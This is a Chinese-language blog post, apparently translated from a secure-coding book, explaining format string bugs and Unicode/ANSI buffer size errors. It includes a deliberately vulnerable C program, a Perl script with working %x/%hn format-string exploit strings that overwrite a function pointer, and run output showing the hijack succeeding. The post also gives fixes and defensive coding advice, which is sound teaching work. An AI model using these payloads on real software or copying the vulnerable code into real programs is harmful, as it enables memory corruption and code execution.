2007年8月12日 星期日

系統安全公敵 - 緩衝溢位 (三)

系統安全公敵 - 緩衝溢位 ()

格式化字串臭蟲

格 式化字串臭蟲並不盡然是緩衝溢位,不過卻會發生同樣的問題。您可以在BugTraq中發現兩個相當好的文章:一個是Tim Newsham在http://www.securityfocus.com/archive/1/81565中所貼的文章,另一篇則是 LamagraArgamal在www.securityfocus.com/archive/1/66842所發表。基本上這個問題起源於函數沒有任何 實際可用的方法去決定有多少引數能被引入。像是printf、包括C的執行函數(run-time function),是個能使用很多種引數的函數。這個問題中有趣的部分是,%n format specifier寫入的位元數值將會被以格式化字串的方式寫入指標,並且做為引數的內容。經過稍微的修補,我們發現處理的記憶體空間中的隨機位元,被攻 擊者所選擇的位元所覆寫。在過去幾年,有許多格式化字串臭蟲發現於UNIX的程式中,在Windows中想要放入這樣的臭蟲似乎有點困難,只有在寫入 0x00ffffff或是以下的大型記憶體區塊時才可能發生。像是堆疊一般會被發現在大約0x00120000的範圍中。

如果運氣好的話,這個問題可以被攻擊者克服,甚至於攻擊者並不夠幸運,他可以輕易的從0x01000000到0x7fffffff 的位址寫入資料。要修正這個錯誤也很簡單:將格式化的字串傳送到printf家族的函數裡,如printf(input)即為可利用的,printf(“%s", input),則為不可利用的。這裡是一個描寫這個問題的應用程式:

#include
#include
#include

typedef void (*ErrFunc)(unsigned long);

void GhastlyError(unsigned long err)
{
printf(“Unrecoverable error! - err = %d\n", err);
exit(-1);
}

void RecoverableError(unsigned long err)
{
printf(“Something went wrong, but you can fix it - err = %d\n",
err);
}

void PrintMessage(char* file, unsigned long err)
{
ErrFunc fErrFunc;

char buf[512];
if(err == 5)
{
//存取拒絕
fErrFunc = GhastlyError;
}
else
{
fErrFunc = RecoverableError;
}
_snprintf(buf, sizeof(buf)-1, “Cannot find %s", file);
//顯示給使用者看緩衝區中的內容
printf(“%s", buf);
//預防編譯器修改了你的程式
printf(“\nAddress of fErrFunc is %p\n", &fErrFunc);
//這裡是發生問題的地方
//別在你的程式中做這樣的動作
fprintf(stdout, buf);
printf(“\nCalling ErrFunc %p\n", fErrFunc);
fErrFunc(err);
}
void foo(void)
{
printf(“Augh! We’ve been hacked!\n”);
}
int main(int argc, char* argv[])
{
FILE* pFile;
//用了一些小技巧讓這個例子簡單一些

printf(“Address of foo is %p\n", foo);
//這只會開啟現存的檔案

pFile = fopen(argv[1], “r”);
if(pFile == NULL)
{
PrintMessage(argv[1], errno);
}
else
{
printf(“Opened %s\n", argv[1]);
fclose(pFile);
}
return 0;
}

這裡是應用程式如何運做的例子。它試著開啟一個檔案,如果開啟檔案失敗的話,它就會呼叫PrintMessage,然後判斷錯誤是可復原的或者是可怕的災難,並且設定函數指標。PrintMessage 然後就會格式化錯誤字串到緩衝區,並且把它列印出來。利用這個方法,我插入了一些額外的printf呼叫來幫助建立剝削,並且幫助讀者找出位址的不同處。如果你並沒有格式化字串的臭蟲時,App也會列印出它應該要列印的字串。

就如同往常,我們的目標是取得foo函數,並執行它1,以下是你輸入一個正常的檔名時,會發生的問題:

C:\Secureco2\Chapter05>formatstring.exe not_exist

Address of foo is 00401100
Cannot find not_exist
Address of fErrFunc is 0012FF1C
Cannot find not_exist
Calling ErrFunc 00401030
Something went wrong, but you can fix it - err = 2
Now let’s see what happens when we use a malicious string:

C:\Secureco2\Chapter05>formatstring.exe %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x

Address of foo is 00401100
Cannot find %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Address of fErrFunc is 0012FF1C
Cannot find 14534807ffdf000000000000000012fde8077f516b36e6e6143662
0746f20646e69782578257825782578257825782578257825782578257825
Calling ErrFunc 00401030
Something went wrong, but you can fix it - err = 2

這看起來很有趣,我們在這裡看到的是資料被放在堆疊裡,請再次注意到這個問題。 “7825”字串是%x 的相反,因為在這裡我們用的是little endian 晶片架構。請思考我們餵給應用程式的字串現在已經變成資料了。讓我們來玩一下它們。使用Perl script會讓它容易些—我放置$arg內容的程式都被拒絕了,如我們透過這個例子所執行的,先標註最後$arg的宣告,然後再將下一行解除標註。這裡 是它的Perl script指令檔內容:

# Comment out each $arg string, and uncomment the next to follow along
# This is the first cut at an exploit string
# The last %p will show up pointing at 0x67666500
# Translate this due to little-
# endian architecture, and we get 0x00656667
$arg =
“%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x%x%x%x%x%x%x%x%x%x%x%p”."ABC";
# Now comment out the above $arg, and use this one
# $arg =
“......%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%p”."ABC";
# Now we’re actually going to start writing memory -
let’s overwrite the ErrFunc pointer
# $arg =
“.....%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn”."\x1c\xff\x12";
# Finally, uncomment this one to see the exploit really work
# $arg =
“%.4066x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn”."\x1c\xff\x12";
$cmd = “formatstring “.$arg;
system($cmd);

要使用第一個剝削字串,先將ABC標註到最後,然後讓將%x 換成%p 。起先不會有任何變化,但是放入一些%x內容後,我們就會得到下列的結果:

C:\Secureco2\Chapter05>perl test1.pl
Address of foo is 00401100
Cannot find %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%pABC
Address of fErrFunc is 0012FF1C
Cannot find 70005c6f00727[…]782578257025782500434241ABC

如果你最後整理了%x,我們最後就會得到00434241ABC。我們把最後的位置以ABC取代了%p。加入空字串的話,我們就可以在這個應用程式的記憶體當中寫入空白。當我們的剝削字串完全的被損毀後,我們可以使用Perl script將ABC改成 “\x1c\xff\x12”,這樣可以允許我們覆寫掉fErrFunc中的內容。

現在程式告訴我們,我正在一些有趣的地方呼叫ErrFunc 函數。在建立這個範例程式時,我發現它以(.)字元開始,然後修正符合%x的內容。如果你在輸入除了00434241ABC外還有別的內容,從前面加入一 些字元,讓資料排列在4-byte範圍裡,並且在指定讀取%p參數的地方的新增或者是移除%x 。在Perl script中標示出第一個剝削,並且將第二個解除標示。我們現在在下一頁中上方處是什麼內容:

C:\Secureco2\Chapter05>perl test.pl
Address of foo is 00401100
Cannot find ......%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%pABC
Address of fErrFunc is 0012FF1C
Cannot find ......70005c6f00727[...]8257025782500434241ABC

一旦你使用了前面的四個或五個字元,你就可以準備將任何字元寫入記憶體中。首先,請記住%hn 將會寫入已經寫入之前被%p所指到的16-bit值的字元數,刪除你所插入以h為傳輸襯墊字元,並且將 “ABC”變更為“\x1c\xff\x12”,並且試試看如何使用它。如果你跟我用一樣的方法來執行它的話,你將會看到以下的程式:

C:\Secureco2\Chapter05>perl test.pl
Address of foo is 00401100
Cannot find .....%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn? ?
Address of fErrFunc is 0012FF1C
Cannot find .....70005c6f00727[…]78257825786e682578? ?
Calling ErrFunc 00400129

在你的應用程式可能丟出插斷或者無法使用後,現在我們要到別的地方。請注意我們現在管理覆寫ErrFunc 指標。我知道foo位於0x00401100記憶體位置中,而且我設定ErrFunc 函數到0x00400129這個位址,它有4055位元,較我們所管理寫入的內容多。它做的事就是將它的第一個%x呼叫填入.4066。當我執行test.pl,我取得這個結果:

Calling ErrFunc 00401100
Augh! We’ve been hacked!

因為我沒有在記憶體中加入很多的內容,因此app可以優雅的存在著。我為我想要寫入的應用程式正確的寫入2-byte的資料。請記得,如果你允許攻擊者在 你的應用程式的任何地方寫入記憶體中,在他想出如何將它變成災難或者是任何可執行檔前,它都是一個很好的時機。這個臭蟲可以很容易的被避免掉,如果你有一 個客製化的儲存字串,用來幫助你在應用程式使用其它的語言,如果你這樣做的話,請記住字串無法被未被授權的使用者寫入。

Unicode與ANSI緩衝大小失調

在Windows平台中,由Unicode和ANSI緩衝大小失調而引起的緩衝溢位是相當普遍的。如果您把Unicode緩衝大小的元素數目搞混,這就很容易發生。有兩個它會如此廣佈的理由:Windows NT及其以後的版本支援ANSI和Unicode字串,而且大部分的Unicode函數以廣義的字元處理緩衝大小,而不是位元大小。

最容易受害且最常用的函數便是MultiByteToWideChar。請看看以下的語法:

BOOL GetName(char *szName)
{
WCHAR wszUserName [256 ];
//將ANSI名稱轉換到Unicode.
MultiByteToWideChar(CP_ACP,0,
szName,
-1,
wszUserName,
sizeof(wszUserName));
//Snip
§
}

您可以看得出來問題出在哪嗎?問題就出在MultiByteToWideChar最後的引數。這個引數表示:以廣義的字元指定大小,藉由 lpWideCharStr參數指向緩衝。所引入的數值為sizeof(wszUserName)。WszUserName是一個Unicode字串、 256廣義字元。廣義字元具有兩個byte,因此實際上sizeof(wszUserName)是512位元。由此可知,函數會認定緩衝大小是512廣義 字元。因為wszUserName在堆疊上,我們便擁有潛在發生的緩衝溢位。
以下是這個函數的正確寫法:

MultiByteToWideChar(CP_ACP,0,
szName,
-1,
wszUserName,
sizeof(wszUserName)/sizeof(wszUserName [0 ]));

要降低困擾,下面是一個用來建立巨集的好方法:

#define ElementCount(x) (sizeof(x)/sizeof(x[0]))

這是在將unicode轉換成ANSI時,你應該要想到,並不是所有的字元都可以被輚換。WideCharToMultiByte的第二個參數用來在字元 無法被轉換時,判斷函數是如何執行的。在與canonicalization打交道或者是記錄使用者輸入時,它是很重要的,特別是從網路上進行這個工作。

警告

使用%S格式用來指定printf家族函數將會跳過沒有被轉換的字元。因此在輸入的Unicode 字串字元數比輸出字元字串來的大的情況是有可能的。

一個 Unicode bug 實例

IPP (The Internet Printing Protocol)緩衝溢位便是Unicode bug的一種。您可以在www.microsoft.com/technet/security中的MS01-23看到一些有關訊息。在IIS 5(Internet Information Service)中,IPP在SYSTEM帳號下扮演ISAPI過濾器的角色,因此遂行的緩衝溢位變得更加危險。請注意臭蟲並非在IIS中,受害的程式語法有點像是以下這樣:

TCHAR wszComputerName [256 ];
BOOL GetServerName(EXTENSION_CONTROL_BLOCK *pECB){
DWORD dwSize =sizeof(wszComputerName);
char szComputerName [256 ];
if (pECB->GetServerVariable (pECB->ConnID,
"SERVER_NAME",
szComputerName,
&dwSize)){
//Do something.
}

ISAPI 函數─ GetServerVariable,可以複製 dwSize 所定義的位元大小到 szComputerName,而 dwsize 是 512,TCHAR在程式中是一個 Unicode 或是廣義字元。此函數能夠將最大至 512 位元的資料複製到 szComputerName 中。
它是一個對於緩衝區由 ANSI 轉到 UNICODE 並不會產生衝突的一個溢位的錯誤觀念。每個其它的字串都是空字串,那你應該要如何使用它呢?你可以參考 Chris Anley 的文章,裡面有描述這是如何產生的,而你可以在下面的網址中找到造成這種情況的原因。
總結來說,你需要一個較往常大的緩衝區,而攻擊者就會自Intel的架構中包含了位元總數的變數中取得利益。這允許攻擊者讓系統將一系列的 Unicode 串解譯到單一位元指令的字元。如同往常,假設攻擊者可以用任何方法來影響執行路徑,就有可能發生濫用的情況。

防範緩衝溢位

第一道防線便是撰寫零錯誤程式碼!雖然撰寫安全性語法在某方面窒礙難行,不過防止了緩衝溢位,就等於撰寫了一個零錯誤的程式。Steve Maguire所撰寫的Writing Solid Code (Microsoft Press,1993,中譯本為撰寫零錯誤程式)是一本你可以參考的寶貴資源。即使您是一位小心翼翼、經驗豐富的程式設計師,這本書依然值得閱讀。

再來便是讓您所輸入的資訊總是有效,如此在函數以外的世界都將會被視為敵人,也會跟著你毀滅。同樣地,與函數的完成、及函數所預期的輸出入資訊無關的事物將可在函數以外的地方存取。最近筆者與一位程式設計師以EMAIL交流,他寫了一個程式如下:

void PrintLine(const char*msg)
{
char buf [255 ];
sprintf(buf,"Prefix %s suffix \n",msg);
§
}

當筆者問這位網友為何沒有讓輸入的資訊有效,他的回答是:控制了所有呼叫函數的程式語法、並且知道緩衝的長度、也不想讓它溢位。接著筆者問他如果有些人並 沒有小心維護自己的語法,這樣會發生什麼事,結果它只說了一句:哦!這樣的建構方式只會招來麻煩,即使有非預期的輸入資訊進入函數中,函數也會悄悄地出現 問題。

其它我從微軟的程式設計人員所學到的有趣技巧是具攻擊性的程式。如果函數使用輸出緩衝及size參數,插入如下的狀態式:

#ifdef _DEBUG
memset(dest, ’A’, buflen); //buflen = size in bytes
#endif

然後,在有人呼叫你的函數並且為緩衝區長度管理傳入的不好參數,他們的程式將會無法使用。假設你仗用最後一版的編輯器,問題很快的就會出現。我想它是將測試嵌入應用程式,並且不用倚賴完全的測試的一種找出臭蟲的方法,而這在本章後面會為您介紹。